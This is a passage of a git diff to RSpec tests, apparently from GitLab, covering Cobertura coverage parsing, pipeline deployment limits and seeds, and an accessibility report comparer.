+ expect(coverage_report.files).to eq({ 'app/user.rb' => { 1 => 2, 2 => 0, 6 => 1, 7 => 1 } })
+ end
+ end
+
+ context 'with the same filename and lines' do
+ let(:classes_xml) do
+ <<~EOF
+ <packages><package name="app"><classes>
+ <class filename="user.rb"><methods/><lines>
+ <line number="1" hits="2"/>
+ <line number="2" hits="0"/>
+ </lines></class>
+ <class filename="user.rb"><methods/><lines>
+ <line number="1" hits="1"/>
+ <line number="2" hits="1"/>
+ </lines></class>
+ </classes></package></packages>
+ EOF
+ end
+
+ it 'parses XML and returns a single file with summed-up coverage, and with the filename relative to project root' do
+ expect { parse_report }.not_to raise_error
+
+ expect(coverage_report.files).to eq({ 'app/user.rb' => { 1 => 3, 2 => 1 } })
+ end
+ end
+
+ context 'with missing filename' do
+ let(:classes_xml) do
+ <<~EOF
+ <packages><package name="app"><classes>
+ <class filename="user.rb"><methods/><lines>
+ <line number="1" hits="2"/>
+ <line number="2" hits="0"/>
+ </lines></class>
+ <class><methods/><lines>
+ <line number="6" hits="1"/>
+ <line number="7" hits="1"/>
+ </lines></class>
+ </classes></package></packages>
+ EOF
+ end
+
+ it 'parses XML and ignores class with missing name' do
+ expect { parse_report }.not_to raise_error
+
+ expect(coverage_report.files).to eq({ 'app/user.rb' => { 1 => 2, 2 => 0 } })
+ end
+ end
+
+ context 'with filename that cannot be determined based on extracted source and worktree paths' do
+ let(:classes_xml) do
+ <<~EOF
+ <packages><package name="app"><classes>
+ <class filename="user.rb"><methods/><lines>
+ <line number="1" hits="2"/>
+ <line number="2" hits="0"/>
+ </lines></class>
+ <class filename="member.rb"><methods/><lines>
+ <line number="6" hits="1"/>
+ <line number="7" hits="1"/>
+ </lines></class>
+ </classes></package></packages>
+ EOF
+ end
+
+ it 'parses XML and ignores class with undetermined filename' do
+ expect { parse_report }.not_to raise_error
+
+ expect(coverage_report.files).to eq({ 'app/user.rb' => { 1 => 2, 2 => 0 } })
+ end
+ end
+
+ context 'with invalid line information' do
+ let(:classes_xml) do
+ <<~EOF
+ <packages><package name="app"><classes>
+ <class filename="user.rb"><methods/><lines>
+ <line number="1" hits="2"/>
+ <line number="2" hits="0"/>
+ </lines></class>
+ <class filename="user.rb"><methods/><lines>
+ <line null="test" hits="1"/>
+ <line number="7" hits="1"/>
+ </lines></class>
+ </classes></package></packages>
+ EOF
+ end
+
+ it 'raises an error' do
+ expect { parse_report }.to raise_error(described_class::InvalidLineInformationError)
+ end
+ end
end
end
- end
- context 'when there are multipe <class>' do
- context 'with the same filename and different lines' do
- let(:cobertura) do
- <<-EOF.strip_heredoc
- <classes>
- <class filename="app.rb"><methods/><lines>
- <line number="1" hits="2"/>
- <line number="2" hits="0"/>
- </lines></class>
- <class filename="app.rb"><methods/><lines>
- <line number="6" hits="1"/>
- <line number="7" hits="1"/>
- </lines></class>
- </classes>
+ context 'and has multiple sources that are not at the project root path' do
+ let(:sources_xml) do
+ <<~EOF
+ <sources>
+ <source>builds/#{project_path}/app1/</source>
+ <source>builds/#{project_path}/app2/</source>
+ </sources>
EOF
end
- it 'parses XML and returns a single file with merged coverage' do
- expect { subject }.not_to raise_error
-
- expect(coverage_report.files).to eq({ 'app.rb' => { 1 => 2, 2 => 0, 6 => 1, 7 => 1 } })
+ context 'and a class filename is available under multiple extracted sources' do
+ let(:paths) { ['app1/user.rb', 'app2/user.rb'] }
+
+ let(:classes_xml) do
+ <<~EOF
+ <package name="app1">
+ <classes>
+ <class filename="user.rb"><lines>
+ <line number="1" hits="2"/>
+ </lines></class>
+ </classes>
+ </package>
+ <package name="app2">
+ <classes>
+ <class filename="user.rb"><lines>
+ <line number="2" hits="3"/>
+ </lines></class>
+ </classes>
+ </package>
+ EOF
+ end
+
+ it 'parses XML and returns the files with the filename relative to project root' do
+ expect { parse_report }.not_to raise_error
+
+ expect(coverage_report.files).to eq({
+ 'app1/user.rb' => { 1 => 2 },
+ 'app2/user.rb' => { 2 => 3 }
+ })
+ end
end
- end
- context 'with the same filename and lines' do
- let(:cobertura) do
- <<-EOF.strip_heredoc
- <packages><package><classes>
- <class filename="app.rb"><methods/><lines>
- <line number="1" hits="2"/>
- <line number="2" hits="0"/>
- </lines></class>
- <class filename="app.rb"><methods/><lines>
- <line number="1" hits="1"/>
- <line number="2" hits="1"/>
- </lines></class>
- </classes></package></packages>
- EOF
+ context 'and a class filename is available under one of the extracted sources' do
+ let(:paths) { ['app1/member.rb', 'app2/user.rb', 'app2/pet.rb'] }
+
+ let(:classes_xml) do
+ <<~EOF
+ <packages><package name="app"><classes>
+ <class filename="user.rb"><lines>
+ <line number="1" hits="2"/>
+ </lines></class>
+ </classes></package></packages>
+ EOF
+ end
+
+ it 'parses XML and returns a single file with the filename relative to project root using the extracted source where it is first found under' do
+ expect { parse_report }.not_to raise_error
+
+ expect(coverage_report.files).to eq({ 'app2/user.rb' => { 1 => 2 } })
+ end
end
- it 'parses XML and returns a single file with summed-up coverage' do
- expect { subject }.not_to raise_error
+ context 'and a class filename is not found under any of the extracted sources' do
+ let(:paths) { ['app1/member.rb', 'app2/pet.rb'] }
- expect(coverage_report.files).to eq({ 'app.rb' => { 1 => 3, 2 => 1 } })
+ let(:classes_xml) do
+ <<~EOF
+ <packages><package name="app"><classes>
+ <class filename="user.rb"><lines>
+ <line number="1" hits="2"/>
+ </lines></class>
+ </classes></package></packages>
+ EOF
+ end
+
+ it 'parses XML and returns empty coverage' do
+ expect { parse_report }.not_to raise_error
+
+ expect(coverage_report.files).to eq({})
+ end
end
- end
- context 'with missing filename' do
- let(:cobertura) do
- <<-EOF.strip_heredoc
- <classes>
- <class filename="app.rb"><methods/><lines>
- <line number="1" hits="2"/>
- <line number="2" hits="0"/>
- </lines></class>
- <class><methods/><lines>
- <line number="6" hits="1"/>
- <line number="7" hits="1"/>
- </lines></class>
- </classes>
- EOF
+ context 'and a class filename is not found under any of the extracted sources within the iteratable limit' do
+ let(:paths) { ['app2/user.rb'] }
+
+ let(:classes_xml) do
+ <<~EOF
+ <packages><package name="app"><classes>
+ <class filename="record.rb"><lines>
+ <line number="1" hits="2"/>
+ </lines></class>
+ <class filename="user.rb"><lines>
+ <line number="1" hits="2"/>
+ </lines></class>
+ </classes></package></packages>
+ EOF
+ end
+
+ before do
+ stub_const("#{described_class}::MAX_SOURCES", 1)
+ end
+
+ it 'parses XML and returns empty coverage' do
+ expect { parse_report }.not_to raise_error
+
+ expect(coverage_report.files).to eq({})
+ end
end
+ end
+ end
- it 'parses XML and ignores class with missing name' do
- expect { subject }.not_to raise_error
+ shared_examples_for 'non-smart parsing' do
+ let(:sources_xml) do
+ <<~EOF
+ <sources>
+ <source>builds/foo/bar/app</source>
+ </sources>
+ EOF
+ end
- expect(coverage_report.files).to eq({ 'app.rb' => { 1 => 2, 2 => 0 } })
- end
+ let(:classes_xml) do
+ <<~EOF
+ <packages><package name="app"><classes>
+ <class filename="user.rb"><lines>
+ <line number="1" hits="2"/>
+ </lines></class>
+ </classes></package></packages>
+ EOF
end
- context 'with invalid line information' do
- let(:cobertura) do
- <<-EOF.strip_heredoc
- <classes>
- <class filename="app.rb"><methods/><lines>
- <line number="1" hits="2"/>
- <line number="2" hits="0"/>
- </lines></class>
- <class filename="app.rb"><methods/><lines>
- <line null="test" hits="1"/>
- <line number="7" hits="1"/>
- </lines></class>
- </classes>
- EOF
- end
+ it 'parses XML and returns filenames unchanged just as how they are found in the class node' do
+ expect { parse_report }.not_to raise_error
- it 'raises an error' do
- expect { subject }.to raise_error(described_class::CoberturaParserError)
- end
+ expect(coverage_report.files).to eq({ 'user.rb' => { 1 => 2 } })
end
end
+
+ context 'when project_path is not present' do
+ let(:project_path) { nil }
+ let(:paths) { ['app/user.rb'] }
+
+ it_behaves_like 'non-smart parsing'
+ end
+
+ context 'when worktree_paths is not present' do
+ let(:project_path) { 'foo/bar' }
+ let(:paths) { nil }
+
+ it_behaves_like 'non-smart parsing'
+ end
end
context 'when data is not Cobertura style XML' do
let(:cobertura) { { coverage: '12%' }.to_json }
it 'raises an error' do
- expect { subject }.to raise_error(described_class::CoberturaParserError)
+ expect { parse_report }.to raise_error(described_class::InvalidXMLError)
end
end
end
diff --git a/spec/lib/gitlab/ci/parsers_spec.rb b/spec/lib/gitlab/ci/parsers_spec.rb
index db9a5775d9f..b932cd81272 100644
--- a/spec/lib/gitlab/ci/parsers_spec.rb
+++ b/spec/lib/gitlab/ci/parsers_spec.rb
@@ -30,6 +30,14 @@ RSpec.describe Gitlab::Ci::Parsers do
end
end
+ context 'when file_type is codequality' do
+ let(:file_type) { 'codequality' }
+
+ it 'fabricates the class' do
+ is_expected.to be_a(described_class::Codequality::CodeClimate)
+ end
+ end
+
context 'when file_type is terraform' do
let(:file_type) { 'terraform' }
diff --git a/spec/lib/gitlab/ci/pipeline/chain/limit/deployments_spec.rb b/spec/lib/gitlab/ci/pipeline/chain/limit/deployments_spec.rb
new file mode 100644
index 00000000000..78363be7f36
--- /dev/null
+++ b/spec/lib/gitlab/ci/pipeline/chain/limit/deployments_spec.rb
@@ -0,0 +1,109 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ::Gitlab::Ci::Pipeline::Chain::Limit::Deployments do
+ let_it_be(:namespace) { create(:namespace) }
+ let_it_be(:project, reload: true) { create(:project, namespace: namespace) }
+ let_it_be(:plan_limits, reload: true) { create(:plan_limits, :default_plan) }
+
+ let(:pipeline_seed) { double(:pipeline_seed, deployments_count: 2) }
+ let(:save_incompleted) { false }
+
+ let(:command) do
+ double(:command,
+ project: project,
+ pipeline_seed: pipeline_seed,
+ save_incompleted: save_incompleted
+ )
+ end
+
+ let(:pipeline) { build(:ci_pipeline, project: project) }
+ let(:step) { described_class.new(pipeline, command) }
+
+ subject(:perform) { step.perform! }
+
+ context 'when pipeline deployments limit is exceeded' do
+ before do
+ plan_limits.update!(ci_pipeline_deployments: 1)
+ end
+
+ context 'when saving incompleted pipelines' do
+ let(:save_incompleted) { true }
+
+ it 'drops the pipeline' do
+ perform
+
+ expect(pipeline).to be_persisted
+ expect(pipeline.reload).to be_failed
+ end
+
+ it 'breaks the chain' do
+ perform
+
+ expect(step.break?).to be true
+ end
+
+ it 'sets a valid failure reason' do
+ perform
+
+ expect(pipeline.deployments_limit_exceeded?).to be true
+ end
+ end
+
+ context 'when not saving incomplete pipelines' do
+ let(:save_incompleted) { false }
+
+ it 'does not persist the pipeline' do
+ perform
+
+ expect(pipeline).not_to be_persisted
+ end
+
+ it 'breaks the chain' do
+ perform
+
+ expect(step.break?).to be true
+ end
+
+ it 'adds an informative error to the pipeline' do
+ perform
+
+ expect(pipeline.errors.messages).to include(base: ['Pipeline has too many deployments! Requested 2, but the limit is 1.'])
+ end
+ end
+
+ it 'logs the error' do
+ expect(Gitlab::ErrorTracking).to receive(:track_exception).with(
+ instance_of(Gitlab::Ci::Limit::LimitExceededError),
+ project_id: project.id, plan: namespace.actual_plan_name
+ )
+
+ perform
+ end
+ end
+
+ context 'when pipeline deployments limit is not exceeded' do
+ before do
+ plan_limits.update!(ci_pipeline_deployments: 100)
+ end
+
+ it 'does not break the chain' do
+ perform
+
+ expect(step.break?).to be false
+ end
+
+ it 'does not invalidate the pipeline' do
+ perform
+
+ expect(pipeline.errors).to be_empty
+ end
+
+ it 'does not log any error' do
+ expect(Gitlab::ErrorTracking).not_to receive(:track_exception)
+
+ perform
+ end
+ end
+end
diff --git a/spec/lib/gitlab/ci/pipeline/chain/seed_spec.rb b/spec/lib/gitlab/ci/pipeline/chain/seed_spec.rb
index d849c768a3c..0ce8b80902e 100644
--- a/spec/lib/gitlab/ci/pipeline/chain/seed_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/chain/seed_spec.rb
@@ -50,8 +50,8 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Seed do
it 'sets the seeds in the command object' do
run_chain
- expect(command.stage_seeds).to all(be_a Gitlab::Ci::Pipeline::Seed::Base)
- expect(command.stage_seeds.count).to eq 1
+ expect(command.pipeline_seed).to be_a(Gitlab::Ci::Pipeline::Seed::Pipeline)
+ expect(command.pipeline_seed.size).to eq 1
end
context 'when no ref policy is specified' do
@@ -63,16 +63,18 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Seed do
}
end
- it 'correctly fabricates a stage seeds object' do
+ it 'correctly fabricates stages and builds' do
run_chain
- seeds = command.stage_seeds
- expect(seeds.size).to eq 2
- expect(seeds.first.attributes[:name]).to eq 'test'
- expect(seeds.second.attributes[:name]).to eq 'deploy'
- expect(seeds.dig(0, 0, :name)).to eq 'rspec'
- expect(seeds.dig(0, 1, :name)).to eq 'spinach'
- expect(seeds.dig(1, 0, :name)).to eq 'production'
+ seed = command.pipeline_seed
+
+ expect(seed.stages.size).to eq 2
+ expect(seed.size).to eq 3
+ expect(seed.stages.first.name).to eq 'test'
+ expect(seed.stages.second.name).to eq 'deploy'
+ expect(seed.stages[0].statuses[0].name).to eq 'rspec'
+ expect(seed.stages[0].statuses[1].name).to eq 'spinach'
+ expect(seed.stages[1].statuses[0].name).to eq 'production'
end
end
@@ -88,14 +90,14 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Seed do
}
end
- it 'returns stage seeds only assigned to master' do
+ it 'returns pipeline seed with jobs only assigned to master' do
run_chain
- seeds = command.stage_seeds
+ seed = command.pipeline_seed
- expect(seeds.size).to eq 1
- expect(seeds.first.attributes[:name]).to eq 'test'
- expect(seeds.dig(0, 0, :name)).to eq 'spinach'
+ expect(seed.size).to eq 1
+ expect(seed.stages.first.name).to eq 'test'
+ expect(seed.stages[0].statuses[0].name).to eq 'spinach'
end
end
@@ -109,14 +111,14 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Seed do
}
end
- it 'returns stage seeds only assigned to schedules' do
+ it 'returns pipeline seed with jobs only assigned to schedules' do
run_chain
- seeds = command.stage_seeds
+ seed = command.pipeline_seed
- expect(seeds.size).to eq 1
- expect(seeds.first.attributes[:name]).to eq 'test'
- expect(seeds.dig(0, 0, :name)).to eq 'spinach'
+ expect(seed.size).to eq 1
+ expect(seed.stages.first.name).to eq 'test'
+ expect(seed.stages[0].statuses[0].name).to eq 'spinach'
end
end
@@ -141,11 +143,11 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Seed do
it 'returns seeds for kubernetes dependent job' do
run_chain
- seeds = command.stage_seeds
+ seed = command.pipeline_seed
- expect(seeds.size).to eq 2
- expect(seeds.dig(0, 0, :name)).to eq 'spinach'
- expect(seeds.dig(1, 0, :name)).to eq 'production'
+ expect(seed.size).to eq 2
+ expect(seed.stages[0].statuses[0].name).to eq 'spinach'
+ expect(seed.stages[1].statuses[0].name).to eq 'production'
end
end
end
@@ -154,10 +156,10 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Seed do
it 'does not return seeds for kubernetes dependent job' do
run_chain
- seeds = command.stage_seeds
+ seed = command.pipeline_seed
- expect(seeds.size).to eq 1
- expect(seeds.dig(0, 0, :name)).to eq 'spinach'
+ expect(seed.size).to eq 1
+ expect(seed.stages[0].statuses[0].name).to eq 'spinach'
end
end
end
@@ -173,10 +175,10 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Seed do
it 'returns stage seeds only when variables expression is truthy' do
run_chain
- seeds = command.stage_seeds
+ seed = command.pipeline_seed
- expect(seeds.size).to eq 1
- expect(seeds.dig(0, 0, :name)).to eq 'unit'
+ expect(seed.size).to eq 1
+ expect(seed.stages[0].statuses[0].name).to eq 'unit'
end
end
diff --git a/spec/lib/gitlab/ci/pipeline/quota/deployments_spec.rb b/spec/lib/gitlab/ci/pipeline/quota/deployments_spec.rb
new file mode 100644
index 00000000000..c52994fc6a2
--- /dev/null
+++ b/spec/lib/gitlab/ci/pipeline/quota/deployments_spec.rb
@@ -0,0 +1,95 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Ci::Pipeline::Quota::Deployments do
+ let_it_be(:namespace) { create(:namespace) }
+ let_it_be(:default_plan, reload: true) { create(:default_plan) }
+ let_it_be(:project, reload: true) { create(:project, :repository, namespace: namespace) }
+ let_it_be(:plan_limits) { create(:plan_limits, plan: default_plan) }
+
+ let(:pipeline) { build_stubbed(:ci_pipeline, project: project) }
+
+ let(:pipeline_seed) { double(:pipeline_seed, deployments_count: 2)}
+
+ let(:command) do
+ double(:command,
+ project: project,
+ pipeline_seed: pipeline_seed,
+ save_incompleted: true
+ )
+ end
+
+ let(:ci_pipeline_deployments_limit) { 0 }
+
+ before do
+ plan_limits.update!(ci_pipeline_deployments: ci_pipeline_deployments_limit)
+ end
+
+ subject(:quota) { described_class.new(namespace, pipeline, command) }
+
+ shared_context 'limit exceeded' do
+ let(:ci_pipeline_deployments_limit) { 1 }
+ end
+
+ shared_context 'limit not exceeded' do
+ let(:ci_pipeline_deployments_limit) { 2 }
+ end
+
+ describe '#enabled?' do
+ context 'when limit is enabled in plan' do
+ let(:ci_pipeline_deployments_limit) { 10 }
+
+ it 'is enabled' do
+ expect(quota).to be_enabled
+ end
+ end
+
+ context 'when limit is not enabled' do
+ let(:ci_pipeline_deployments_limit) { 0 }
+
+ it 'is not enabled' do
+ expect(quota).not_to be_enabled
+ end
+ end
+
+ context 'when limit does not exist' do
+ before do
+ allow(namespace).to receive(:actual_plan) { create(:default_plan) }
+ end
+
+ it 'is enabled by default' do
+ expect(quota).to be_enabled
+ end
+ end
+ end
+
+ describe '#exceeded?' do
+ context 'when limit is exceeded' do
+ include_context 'limit exceeded'
+
+ it 'is exceeded' do
+ expect(quota).to be_exceeded
+ end
+ end
+
+ context 'when limit is not exceeded' do
+ include_context 'limit not exceeded'
+
+ it 'is not exceeded' do
+ expect(quota).not_to be_exceeded
+ end
+ end
+ end
+
+ describe '#message' do
+ context 'when limit is exceeded' do
+ include_context 'limit exceeded'
+
+ it 'returns info about pipeline deployment limit exceeded' do
+ expect(quota.message)
+ .to eq "Pipeline has too many deployments! Requested 2, but the limit is 1."
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/ci/pipeline/seed/build_spec.rb b/spec/lib/gitlab/ci/pipeline/seed/build_spec.rb
index 0b961336f3f..bc10e94c81d 100644
--- a/spec/lib/gitlab/ci/pipeline/seed/build_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/seed/build_spec.rb
@@ -71,6 +71,33 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Build do
end
end
+ context 'with job:rules:[variables:]' do
+ let(:attributes) do
+ { name: 'rspec',
+ ref: 'master',
+ yaml_variables: [{ key: 'VAR1', value: 'var 1', public: true },
+ { key: 'VAR2', value: 'var 2', public: true }],
+ rules: [{ if: '$VAR == null', variables: { VAR1: 'new var 1', VAR3: 'var 3' } }] }
+ end
+
+ it do
+ is_expected.to include(yaml_variables: [{ key: 'VAR1', value: 'new var 1', public: true },
+ { key: 'VAR2', value: 'var 2', public: true },
+ { key: 'VAR3', value: 'var 3', public: true }])
+ end
+
+ context 'when FF ci_rules_variables is disabled' do
+ before do
+ stub_feature_flags(ci_rules_variables: false)
+ end
+
+ it do
+ is_expected.to include(yaml_variables: [{ key: 'VAR1', value: 'var 1', public: true },
+ { key: 'VAR2', value: 'var 2', public: true }])
+ end
+ end
+ end
+
context 'with cache:key' do
let(:attributes) do
{
@@ -165,6 +192,45 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Build do
it { is_expected.to include(options: {}) }
end
+
+ context 'with allow_failure' do
+ let(:options) do
+ { allow_failure_criteria: { exit_codes: [42] } }
+ end
+
+ let(:rules) do
+ [{ if: '$VAR == null', when: 'always' }]
+ end
+
+ let(:attributes) do
+ {
+ name: 'rspec',
+ ref: 'master',
+ options: options,
+ rules: rules
+ }
+ end
+
+ context 'when rules does not override allow_failure' do
+ it { is_expected.to match a_hash_including(options: options) }
+ end
+
+ context 'when rules set allow_failure to true' do
+ let(:rules) do
+ [{ if: '$VAR == null', when: 'always', allow_failure: true }]
+ end
+
+ it { is_expected.to match a_hash_including(options: { allow_failure_criteria: nil }) }
+ end
+
+ context 'when rules set allow_failure to false' do
+ let(:rules) do
+ [{ if: '$VAR == null', when: 'always', allow_failure: false }]
+ end
+
+ it { is_expected.to match a_hash_including(options: { allow_failure_criteria: nil }) }
+ end
+ end
end
describe '#bridge?' do
diff --git a/spec/lib/gitlab/ci/pipeline/seed/environment_spec.rb b/spec/lib/gitlab/ci/pipeline/seed/environment_spec.rb
index e62bf042fba..664aaaedf7b 100644
--- a/spec/lib/gitlab/ci/pipeline/seed/environment_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/seed/environment_spec.rb
@@ -85,16 +85,6 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Environment do
end
it_behaves_like 'returning a correct environment'
-
- context 'but the environment auto_stop_in on create flag is disabled' do
- let(:expected_auto_stop_in) { nil }
-
- before do
- stub_feature_flags(environment_auto_stop_start_on_create: false)
- end
-
- it_behaves_like 'returning a correct environment'
- end
end
end
diff --git a/spec/lib/gitlab/ci/pipeline/seed/pipeline_spec.rb b/spec/lib/gitlab/ci/pipeline/seed/pipeline_spec.rb
new file mode 100644
index 00000000000..1790388da03
--- /dev/null
+++ b/spec/lib/gitlab/ci/pipeline/seed/pipeline_spec.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Ci::Pipeline::Seed::Pipeline do
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:pipeline) { create(:ci_pipeline, project: project) }
+
+ let(:stages_attributes) do
+ [
+ {
+ name: 'build',
+ index: 0,
+ builds: [
+ { name: 'init', scheduling_type: :stage },
+ { name: 'build', scheduling_type: :stage }
+ ]
+ },
+ {
+ name: 'test',
+ index: 1,
+ builds: [
+ { name: 'rspec', scheduling_type: :stage },
+ { name: 'staging', scheduling_type: :stage, environment: 'staging' },
+ { name: 'deploy', scheduling_type: :stage, environment: 'production' }
+ ]
+ }
+ ]
+ end
+
+ subject(:seed) do
+ described_class.new(pipeline, stages_attributes)
+ end
+
+ describe '#stages' do
+ it 'returns the stage resources' do
+ stages = seed.stages
+
+ expect(stages).to all(be_a(Ci::Stage))
+ expect(stages.map(&:name)).to contain_exactly('build', 'test')
+ end
+ end
+
+ describe '#size' do
+ it 'returns the number of jobs' do
+ expect(seed.size).to eq(5)
+ end
+ end
+
+ describe '#errors' do
+ context 'when attributes are valid' do
+ it 'returns nil' do
+ expect(seed.errors).to be_nil
+ end
+ end
+
+ context 'when attributes are not valid' do
+ it 'returns the errors' do
+ stages_attributes[0][:builds] << {
+ name: 'invalid_job',
+ scheduling_type: :dag,
+ needs_attributes: [{ name: 'non-existent', artifacts: true }]
+ }
+
+ expect(seed.errors).to contain_exactly("invalid_job: needs 'non-existent'")
+ end
+ end
+ end
+
+ describe '#deployments_count' do
+ it 'counts the jobs having an environment associated' do
+ expect(seed.deployments_count).to eq(2)
+ end
+ end
+end
diff --git a/spec/lib/gitlab/ci/reports/accessibility_reports_comparer_spec.rb b/spec/lib/gitlab/ci/reports/accessibility_reports_comparer_spec.rb
index 650ae41320b..ade0e36cf1e 100644
--- a/spec/lib/gitlab/ci/reports/accessibility_reports_comparer_spec.rb
+++ b/spec/lib/gitlab/ci/reports/accessibility_reports_comparer_spec.rb
@@ -3,9 +3,9 @@
require 'spec_helper'
RSpec.describe Gitlab::Ci::Reports::AccessibilityReportsComparer do
- let(:comparer) { described_class.new(base_reports, head_reports) }
- let(:base_reports) { Gitlab::Ci::Reports::AccessibilityReports.new }
- let(:head_reports) { Gitlab::Ci::Reports::AccessibilityReports.new }
+ let(:comparer) { described_class.new(base_report, head_report) }
+ let(:base_report) { Gitlab::Ci::Reports::AccessibilityReports.new }
+ let(:head_report) { Gitlab::Ci::Reports::AccessibilityReports.new }
let(:url) { "https://gitlab.com" }
let(:single_error) do
[
@@ -38,233 +38,254 @@ RSpec.describe Gitlab::Ci::Reports::AccessibilityReportsComparer do
end
describe '#status' do
- subject { comparer.status }
+ subject(:status) { comparer.status }
context 'when head report has an error' do
before do
- head_reports.add_url(url, single_error)
+ head_report.add_url(url, single_error)
end
it 'returns status failed' do
- expect(subject).to eq(described_class::STATUS_FAILED)
+ expect(status).to eq(described_class::STATUS_FAILED)
end
end
context 'when head reports does not have errors' do
before do
- head_reports.add_url(url, [])
+ head_report.add_url(url, [])
end
it 'returns status success' do
- expect(subject).to eq(described_class::STATUS_SUCCESS)
+ expect(status).to eq(described_class::STATUS_SUCCESS)
end
end
end
describe '#errors_count' do
- subject { comparer.errors_count }
+ subject(:errors_count) { comparer.errors_count }
context 'when head report has an error' do
before do
- head_reports.add_url(url, single_error)
+ head_report.add_url(url, single_error)
end
it 'returns the number of new errors' do
- expect(subject).to eq(1)
+ expect(errors_count).to eq(1)
end
end
context 'when head reports does not have an error' do
before do
- head_reports.add_url(url, [])
+ head_report.add_url(url, [])
end
it 'returns the number new errors' do
- expect(subject).to eq(0)
+ expect(errors_count).to eq(0)
end
end
end
describe '#resolved_count' do
- subject { comparer.resolved_count }
+ subject(:resolved_count) { comparer.resolved_count }
context 'when base reports has an error and head has a different error' do
before do
- base_reports.add_url(url, single_error)
- head_reports.add_url(url, different_error)
+ base_report.add_url(url, single_error)
+ head_report.add_url(url, different_error)
end
it 'returns the resolved count' do
- expect(subject).to eq(1)
+ expect(resolved_count).to eq(1)
end
end
context 'when base reports has errors head has no errors' do
before do
- base_reports.add_url(url, single_error)
- head_reports.add_url(url, [])
+ base_report.add_url(url, single_error)
+ head_report.add_url(url, [])
end
it 'returns the resolved count' do
- expect(subject).to eq(1)
+ expect(resolved_count).to eq(1)
end
end
context 'when base reports has errors and head has the same error' do
before do
- base_reports.add_url(url, single_error)
- head_reports.add_url(url, single_error)
+ base_report.add_url(url, single_error)
+ head_report.add_url(url, single_error)
end
it 'returns zero' do
- expect(subject).to eq(0)
+ expect(resolved_count).to eq(0)
end
end
context 'when base reports does not have errors and head has errors' do
before do
- head_reports.add_url(url, single_error)
+ head_report.add_url(url, single_error)
end
it 'returns the number of resolved errors' do
- expect(subject).to eq(0)
+ expect(resolved_count).to eq(0)
end
end
end
describe '#total_count' do
- subject { comparer.total_count }
+ subject(:total_count) { comparer.total_count }
context 'when base reports has an error' do
before do
- base_reports.add_url(url, single_error)
+ base_report.add_url(url, single_error)
end
- it 'returns the error count' do
- expect(subject).to eq(1)
+ it 'returns zero' do
+ expect(total_count).to be_zero
end
end
context 'when head report has an error' do
before do
- head_reports.add_url(url, single_error)
+ head_report.add_url(url, single_error)
end
- it 'returns the error count' do
- expect(subject).to eq(1)
+ it 'returns the total count' do
+ expect(total_count).to eq(1)
end
end
context 'when base report has errors and head report has errors' do
before do
- base_reports.add_url(url, single_error)
- head_reports.add_url(url, different_error)
+ base_report.add_url(url, single_error)
+ head_report.add_url(url, different_error)
+ end
+
+ it 'returns the total count' do
+ expect(total_count).to eq(1)
+ end
+ end
+
+ context 'when base report has errors and head report has the same error' do
+ before do
+ base_report.add_url(url, single_error)
+ head_report.add_url(url, single_error + different_error)
end
- it 'returns the error count' do
- expect(subject).to eq(2)
+ it 'returns the total count' do
+ expect(total_count).to eq(2)
end
end
end
describe '#existing_errors' do
- subject { comparer.existing_errors }
+ subject(:existing_errors) { comparer.existing_errors }
context 'when base report has errors and head has a different error' do
before do
- base_reports.add_url(url, single_error)
- head_reports.add_url(url, different_error)
+ base_report.add_url(url, single_error)
+ head_report.add_url(url, different_error)
end
- it 'returns the existing errors' do
- expect(subject.size).to eq(1)
- expect(subject.first["code"]).to eq("WCAG2AA.Principle4.Guideline4_1.4_1_2.H91.A.NoContent")
+ it 'returns an empty array' do
+ expect(existing_errors).to be_empty
end
end
context 'when base report does not have errors and head has errors' do
before do
- base_reports.add_url(url, [])
- head_reports.add_url(url, single_error)
+ base_report.add_url(url, [])
+ head_report.add_url(url, single_error)
end
it 'returns an empty array' do
- expect(subject).to be_empty
+ expect(existing_errors).to be_empty
+ end
+ end
+
+ context 'when base report has errors and head report has the same error' do
+ before do
+ base_report.add_url(url, single_error)
+ head_report.add_url(url, single_error + different_error)
+ end
+
+ it 'returns the existing error' do
+ expect(existing_errors).to eq(single_error)
end
end
end
describe '#new_errors' do
- subject { comparer.new_errors }
+ subject(:new_errors) { comparer.new_errors }
context 'when base reports has errors and head has more errors' do
before do
- base_reports.add_url(url, single_error)
- head_reports.add_url(url, single_error + different_error)
+ base_report.add_url(url, single_error)
+ head_report.add_url(url, single_error + different_error)
end
it 'returns new errors between base and head reports' do
- expect(subject.size).to eq(1)
- expect(subject.first["code"]).to eq("WCAG2AA.Principle1.Guideline1_4.1_4_3.G18.Fail")
+ expect(new_errors.size).to eq(1)
+ expect(new_errors.first["code"]).to eq("WCAG2AA.Principle1.Guideline1_4.1_4_3.G18.Fail")
end
end
context 'when base reports has an error and head has no errors' do
before do
- base_reports.add_url(url, single_error)
- head_reports.add_url(url, [])
+ base_report.add_url(url, single_error)
+ head_report.add_url(url, [])
end
it 'returns an empty array' do
- expect(subject).to be_empty
+ expect(new_errors).to be_empty
end
end
context 'when base reports does not have errors and head has errors' do
before do
- head_reports.add_url(url, single_error)
+ head_report.add_url(url, single_error)
end
it 'returns the new error' do
- expect(subject.size).to eq(1)
- expect(subject.first["code"]).to eq("WCAG2AA.Principle4.Guideline4_1.4_1_2.H91.A.NoContent")
+ expect(new_errors.size).to eq(1)
+ expect(new_errors.first["code"]).to eq("WCAG2AA.Principle4.Guideline4_1.4_1_2.H91.A.NoContent")
end
end
end
describe '#resolved_errors' do
- subject { comparer.resolved_errors }
+ subject(:resolved_errors) { comparer.resolved_errors }
context 'when base report has errors and head has more errors' do
before do
- base_reports.add_url(url, single_error)
